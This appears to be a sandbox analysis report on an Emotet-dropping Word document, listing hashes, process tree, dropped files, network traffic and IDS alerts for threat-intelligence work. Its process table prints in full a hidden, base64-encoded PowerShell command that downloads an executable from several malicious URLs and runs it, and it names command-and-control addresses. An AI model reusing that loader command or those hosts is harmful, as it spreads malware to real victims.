File name: | Mail-0589307.doc |
Full analysis: | https://app.any.run/tasks/50cc8d98-6fff-4703-8304-8b8f48c893ec |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | November 16, 2019, 08:22:15 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Perspiciatis consequatur tempore., Author: Amir Bruckmann, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Sat Nov 16 00:17:00 2019, Last Saved Time/Date: Sat Nov 16 00:17:00 2019, Number of Pages: 1, Number of Words: 20, Number of Characters: 117, Security: 0 |
MD5: | 679397CE219083B4C910F8DDB4E8E859 |
SHA1: | E7C14B62F8958257AE1C7A3C53CDBB68C1A64396 |
SHA256: | 7DEDA0AA5F23B723AF6B638AD5C89A052A3783E0CCD6A08F48A4D0103E4D5115 |
SSDEEP: | 3072:ShqyjH+UaqFh5Rr/SzFaSadGBrjC48+WZ/POhh+/RbYM0TRsXUAblCg:ShqyjHNaqrSzGdD48+aPOnWbYM0lsk4V |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
Title: | Perspiciatis consequatur tempore. |
---|---|
Subject: | - |
Author: | Amir Bruckmann |
Keywords: | - |
Comments: | - |
Template: | Normal.dotm |
LastModifiedBy: | - |
RevisionNumber: | 1 |
Software: | Microsoft Office Word |
TotalEditTime: | - |
CreateDate: | 2019:11:16 00:17:00 |
ModifyDate: | 2019:11:16 00:17:00 |
Pages: | 1 |
Words: | 20 |
Characters: | 117 |
Security: | None |
CodePage: | Windows Latin 1 (Western European) |
Company: | - |
Lines: | 1 |
Paragraphs: | 1 |
CharCountWithSpaces: | 136 |
AppVersion: | 16 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: | - |
HeadingPairs: |
|
CompObjUserTypeLen: | 25 |
CompObjUserType: | Microsoft Forms 2.0 Form |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
1576 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Mail-0589307.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3036 | powershell -w hidden -enco JABaAGcAdgBpAGQAdABzAGsAYQBxAGYAPQAnAFEAZgBsAHoAdwBuAHgAbgBmAHkAaABoAHUAJwA7ACQAWQBuAGoAcwBzAHcAaABkAGEAcAAgAD0AIAAnADUANgA1ACcAOwAkAEMAawBqAHkAcABjAGoAagBjAD0AJwBHAGMAbABpAGgAdwBzAGIAcgAnADsAJABZAHAAZABiAHAAZQBrAG0AegB5AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABZAG4AagBzAHMAdwBoAGQAYQBwACsAJwAuAGUAeABlACcAOwAkAEQAYgB0AGEAdABpAG4AYgA9ACcASwBlAHgAZwB3AG8AagBvAHcAJwA7ACQAUABwAGQAcAB6AHEAYQB3AHoAZwA9ACYAKAAnAG4AJwArACcAZQB3AC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgB3AGUAQgBjAGwASQBlAG4AVAA7ACQAQwBkAHIAdgBxAGsAagBuAD0AJwBoAHQAdABwADoALwAvAHIAYwB3AC0AbABiAC4AYwBvAG0ALwBhAGIAOQB2AGsALwBhAHQAeQAwAGkALwAqAGgAdAB0AHAAOgAvAC8AYgBsAG8AZwAuAGIAZQBnAHUAbQBuAGEAegBsAGkALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwA5AGEANgAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AdQByAGgAYQBpAHIAbABhAGIAbwAuAGMAbwBtAC8AcABhAHcAeABxAC8AaABkAC8AKgBoAHQAdABwADoALwAvAG4AbwB0AGEAcgBpAHUAcwB6AHMAdwBpAGUAdABvAGMAaABsAG8AdwBpAGMAZQAuAHAAbAAvAHcAcAAtAGEAZABtAGkAbgAvAG4ANQBlAC8AKgBoAHQAdABwADoALwAvAGgAaQBkAHIAbwBqAGEAdABvAGIAcgBhAHMAaQBsAC4AYwBvAG0ALgBiAHIALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ARQBoAEgAMABuAGcAZQBIAG8ANwAvACcALgAiAHMAUABsAGAASQB0ACIAKAAnACoAJwApADsAJABPAGgAcgBsAHUAcQB6AGsAYwBtAHIAawB5AD0AJwBGAHAAaQBhAHYAYQB6AGIAdwAnADsAZgBvAHIAZQBhAGMAaAAoACQAUQB4AHUAcQBtAGgAZQBvACAAaQBuACAAJABDAGQAcgB2AHEAawBqAG4AKQB7AHQAcgB5AHsAJABQAHAAZABwAHoAcQBhAHcAegBnAC4AIgBkAE8AdwBOAGwATwBhAGAARABGAEkAYABsAGUAIgAoACQAUQB4AHUAcQBtAGgAZQBvACwAIAAkAFkAcABkAGIAcABlAGsAbQB6AHkAKQA7ACQAQgBsAGkAaQBuAHUAdABnAHAAdABiAD0AJwBTAG8AcQBoAHMAdAB1AHkAegBvAGkAdABmACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJACcAKwAnAHQAZQBtACcAKQAgACQAWQBwAGQAYgBwAGUAawBtAHoAeQApAC4AIgBsAEUAbgBHAGAAVABIACIAIAAtAGcAZQAgADMANgA2ADcANQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAGAAVABhAHIAdAAiACgAJABZAHAAZABiAHAAZQBrAG0AegB5ACkAOwAkAE8AZwB2AG0AZwBvAG4AYwB0AHoAdwBxAHMAPQAnAEQAYQBqAGkAaABrAHMAagBjAGQAcAAnADsAYgByAGUAYQBrADsAJABBAG8AaAB5AG4AagBiAG4AZwBjAHMAZABhAD0AJwBUAHcAZQBmAGkAYQBlAHQAdwBuAHoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWABzAGoAcQBtAHEAYwBlAHIAeABkAGoAcQA9ACcAWQBxAGUAZwB3AGUAcABmAHoAagBzAHcAdgAnAA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3948 | "C:\Users\admin\565.exe" | C:\Users\admin\565.exe | — | powershell.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
3012 | --b0e8bab2 | C:\Users\admin\565.exe | 565.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
2472 | "C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | — | 565.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
284 | --d6864438 | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | serialfunc.exe | |
User: admin Integrity Level: MEDIUM |
PID | Process | Filename | Type | |
---|---|---|---|---|
1576 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA989.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3036 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XR6LRX4AIEO0HC2KVUMW.temp | — | |
MD5:— | SHA256:— | |||
1576 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7C36DE5A.wmf | wmf | |
MD5:5873CAA981105C696BE2180A6041BFA9 | SHA256:085A2B58E52ED1370CF2659337991B89770232EA19448F092EF4A681320B07D7 | |||
1576 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\37554B8F.wmf | wmf | |
MD5:E8D836BAA5BF426FE3A35DD8230A91DA | SHA256:9CC1244DD0A04C7225AA94B9CD3B779E823C52CE2DE5DAF3DDE335B1D1A1D543 | |||
1576 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E22B2693.wmf | wmf | |
MD5:D6CDB5CD5A1A1079CB408A28E12B95C9 | SHA256:863B309DCDF4ADDE80DC14FB0C628088B6068600E8EC12BDA653E0A6F55FFB05 | |||
1576 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2C66D044.wmf | wmf | |
MD5:59DD76F83AF55BA928F3317DCEA29BCB | SHA256:B600BB58C6B6F4FB8278AB3CBD87897269E17FF4A0A12A8CAA526D1EF67C1D05 | |||
1576 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exd | tlb | |
MD5:BACAFED44E02659312243D4157B1FEF8 | SHA256:C8F829D93E165E08D4B1416ACB9B1236F1F5F05BC28421253B61518DBAD79F37 | |||
1576 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\759AB119.wmf | wmf | |
MD5:FFD7CFA386A14391304CF7200FF154DF | SHA256:22AA18494EA729EF04175413FC3FB09E1A1D13ED4E06F6B08E533D33E69243CB | |||
1576 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\71EA8778.wmf | wmf | |
MD5:6598593B5642778FA201DE1D0D8A277E | SHA256:E445C27171F77C8AD7B80A14C4262CBE6CA547702E638F54A89C6631D2788DB8 | |||
3036 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF39b764.TMP | binary | |
MD5:35375F3D71AE42AA9777154D256B33BF | SHA256:BCFF55E0934722E7952EA75D73AE7CE376E4ADBC73DE5E71D629975E9EAC87EF |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3036 | powershell.exe | GET | 200 | 45.58.142.26:80 | http://blog.begumnazli.com/wp-content/9a6/ | US | executable | 240 Kb | suspicious |
284 | serialfunc.exe | POST | 200 | 65.23.154.17:8080 | http://65.23.154.17:8080/rtm/merge/add/ | US | binary | 132 b | malicious |
3036 | powershell.exe | GET | 401 | 198.38.84.254:80 | http://rcw-lb.com/ab9vk/aty0i/ | US | html | 503 b | suspicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3036 | powershell.exe | 198.38.84.254:80 | rcw-lb.com | Server Central Network | US | suspicious |
284 | serialfunc.exe | 65.23.154.17:8080 | — | IO Capital Princess, LLC | US | malicious |
3036 | powershell.exe | 45.58.142.26:80 | blog.begumnazli.com | Sharktech | US | suspicious |
Domain | IP | Reputation |
---|---|---|
rcw-lb.com |
| suspicious |
blog.begumnazli.com |
| suspicious |
PID | Process | Class | Message |
---|---|---|---|
3036 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3036 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3036 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
284 | serialfunc.exe | A Network Trojan was detected | AV TROJAN W32/Emotet CnC Checkin (Apr 2019) |
284 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |